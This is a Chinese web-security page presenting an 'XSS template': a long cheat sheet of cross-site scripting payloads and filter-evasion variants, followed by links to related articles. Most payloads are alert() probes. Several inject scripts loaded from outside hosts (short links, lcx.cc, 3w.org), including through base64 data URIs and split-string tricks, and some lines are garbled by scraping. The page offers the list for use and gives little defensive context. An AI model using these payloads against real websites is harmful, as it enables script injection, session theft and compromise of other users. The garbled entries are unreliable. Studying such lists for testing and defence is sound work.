Web安全--XSS模版
【XSS基本探测pyload】
<script>alert(“xss”)</script>
<script>alert(/xss/)</script> //双引号换成斜杠
<script>alert(‘xss’)</script> //用单引号
<script>alert("xss");</script> //用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq") //自动补全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车
单引号被过滤 <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
【javascript伪协议】回旋 <a href="javascript:alert(/test/)">xss</a>
<script>被过滤↓ <iframe src=javascript:alert( width= /><iframe>利用iframe框架标签
alert被过滤
<img src=" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
【img标记】
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
on事件点击触发
onclick="alert('xss') //注意要用单引号 双引号不会触发
on事件-移动触发
Onmousemove="alert('xss')
【利用函数加密】
eval 函数配合编码
<script>eval(“js+16进制加密”)</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
编码要执行的语句↓
Alert(“xss”)
【unicode加密】
<script>eval("unicode加密")</script>
//js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
标记eval(“编码”) 结束标记
【String.fromCharCod函数】 String.fromCharCode需要配合eval来实现, 构造 <script>eval(String.fromCharCode(,,,,,,,,,,,,))</script> eval内容加引号相当于正常js语句来执行 不加引号,则是默认作为eval的其他参数语句来执 固定格式→<script>eval(String.fromCharCode编码内容))</script>
【data协议运用】 <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object> 格式 Data:[<mime type>][;charset=<charset>[;base64],<encoded data> Data //协议 <mime type> //数据类似 charset=<charset> //指定编码 [;base64] //被指定的编码 <encoded data> //定义data协议的编码 实际编码↓ <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object> base64编码要执行的内容 特点:不支持IE
【各标签实战pyload】
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————
<img src=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img> //仅支持IE6
<img src=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img> //仅支持IE6
<img src="pdpdp.gif"></img> //通杀所有浏览器 能触发xss
<img src="pdpdp.gif"></img> //通杀所有浏览器 能触发xss
<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<input autofocus="bbbb" />
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe> ie不支持
<a href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>
<anchor>、<img>(不执行js) <a>(需点击) <meta>.....
<anchor onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<svg onload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">
<svg onload=document.write(String.fromCharCode(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,))>
<baa id=>
()普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
()IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
()IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
()IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
()HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
()修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
()formCharCode标签
<IMG SRC=javascript:alert(String.fromCharCode(,,))>
()UTF-8的Unicode编码
<IMG SRC=jav..省略..S')>
()7位的UTF-8的Unicode编码是没有分号的
<IMG SRC=jav..省略..S')>
()十六进制编码也是没有分号
<IMG SRC=\'#\'" /span>
()嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
()嵌入式编码标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
()嵌入式换行符
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
()嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
()嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>
()解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
()空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
()空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
()Spaces和meta前的IMG标签
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
()Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
()Non-alpha-non-digit XSS to
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
()Non-alpha-non-digit XSS to
<SCRIPT/SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
()双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
()无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
()无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
()半开的HTML/JavaScript XSS
<IMG SRC=\'#\'" /span>
()双开角括号
<iframe src=http://3w.org/XSS.html <
()无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
()换码过滤的JavaScript
\”;alert(‘XSS’);//
()结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
()Input Image
<INPUT SRC=\'#\'" /span>
()BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
()BODY标签
<BODY(‘XSS’)>
()IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>
()IMG Lowsrc
<IMG LOWSRC=\'#\'" /span>
()BGSOUND
<BGSOUND SRC=\'#\'" /span>
()STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
()远程样式表
<LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
()List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
()IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
()META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”; URL=http://;URL=javascript:alert(‘XSS’);”>
()Iframe
<IFRAME SRC=\'#\'" /IFRAME>
()Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
()Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
()TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
()DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
()DIV background-image后加上额外字符(-&&&&-&&&)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
()DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
()STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
()匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
()STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
()IMG STYLE方式
exppression(alert(“XSS”))’>
()STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
()BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
()EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>
Web安全--XSS模版的更多相关文章
- Web安全XSS
Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...
- web安全-xss攻击
web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&'); str = str.replac ...
- web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)
web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...
- WEB安全----XSS和CSRF
随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵 ...
- Web安全--XSS现代WAF规则探测及绕过技术
XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...
- MVC WEB安全——XSS攻击防御
XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- 小白日记47:kali渗透测试之Web渗透-XSS(一)
XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/ ...
- web安全-XSS攻击及防御
XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...
随机推荐
- csharp:正则表达式采集网页数据
https://msdn.microsoft.com/zh-cn/library/system.text.regularexpressions.regex(v=vs.110).aspx https:/ ...
- LeetCode2:Median of Two Sorted Arrays
题目: There are two sorted arrays A and B of size m and n respectively. Find the median of the two sor ...
- Shiro 整合SpringMVC 并且实现权限管理,登录和注销
Apache Shiro是Java的一个安全框架.目前,使用Apache Shiro的人越来越多,因为它相当简单,对比Spring Security,可能没有Spring Security做的功能强大 ...
- 【使用 DOM】使用 DOM 元素
1. 使用元素对象 HTMLElement对象提供了一组属性,可以用它们来读取和修改被代表的数据.下表介绍了这些属性. 下面代码展示了如何使用表中所列的一些基本属性. <!DOCTYPE htm ...
- ADB server didn't ACK 解决方法
在安卓开发的过程中 连接真机的时候 连接不上 提示 The connection to adb is down, and a severe error has occured.[2015-01-22 ...
- Python基础(8)--文件
文件是我们储存信息的地方,我们经常要对文件进行读.写.删除等的操作,在Python中,我们可用Python提供的函数和方法方便地操作文件.文件可以通过调用open或file来打开,open通常比fil ...
- 自增build ID配置
本文转载出自:http://blog.sina.com.cn/s/blog_13ec67adc0102wimg.html Build在plist文件中的key是“CFBundleVersion”, ...
- UVa 102 - Ecological Bin Packing(规律,统计)
题目来源:https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&category=3&pa ...
- Navicat 连接 Oracle数据库 提示 cannot load OCI DLL 的解决
一.32位系统下 cannot load OCI DLL,126 解决方法:工具->选项->OCI 选择oracle安装目录下bin里面的oci.dll 二 .在64位系统下安装了Orac ...
- Memcache笔记04-Memcached机制深入了解
Memcached机制深入了解 ①基于c/s架构 ,协议简单 c/s架构,此时memcached为服务器端,我们可以使用如PHP,c/c++等程序连接memcached服务器. memcached的服 ...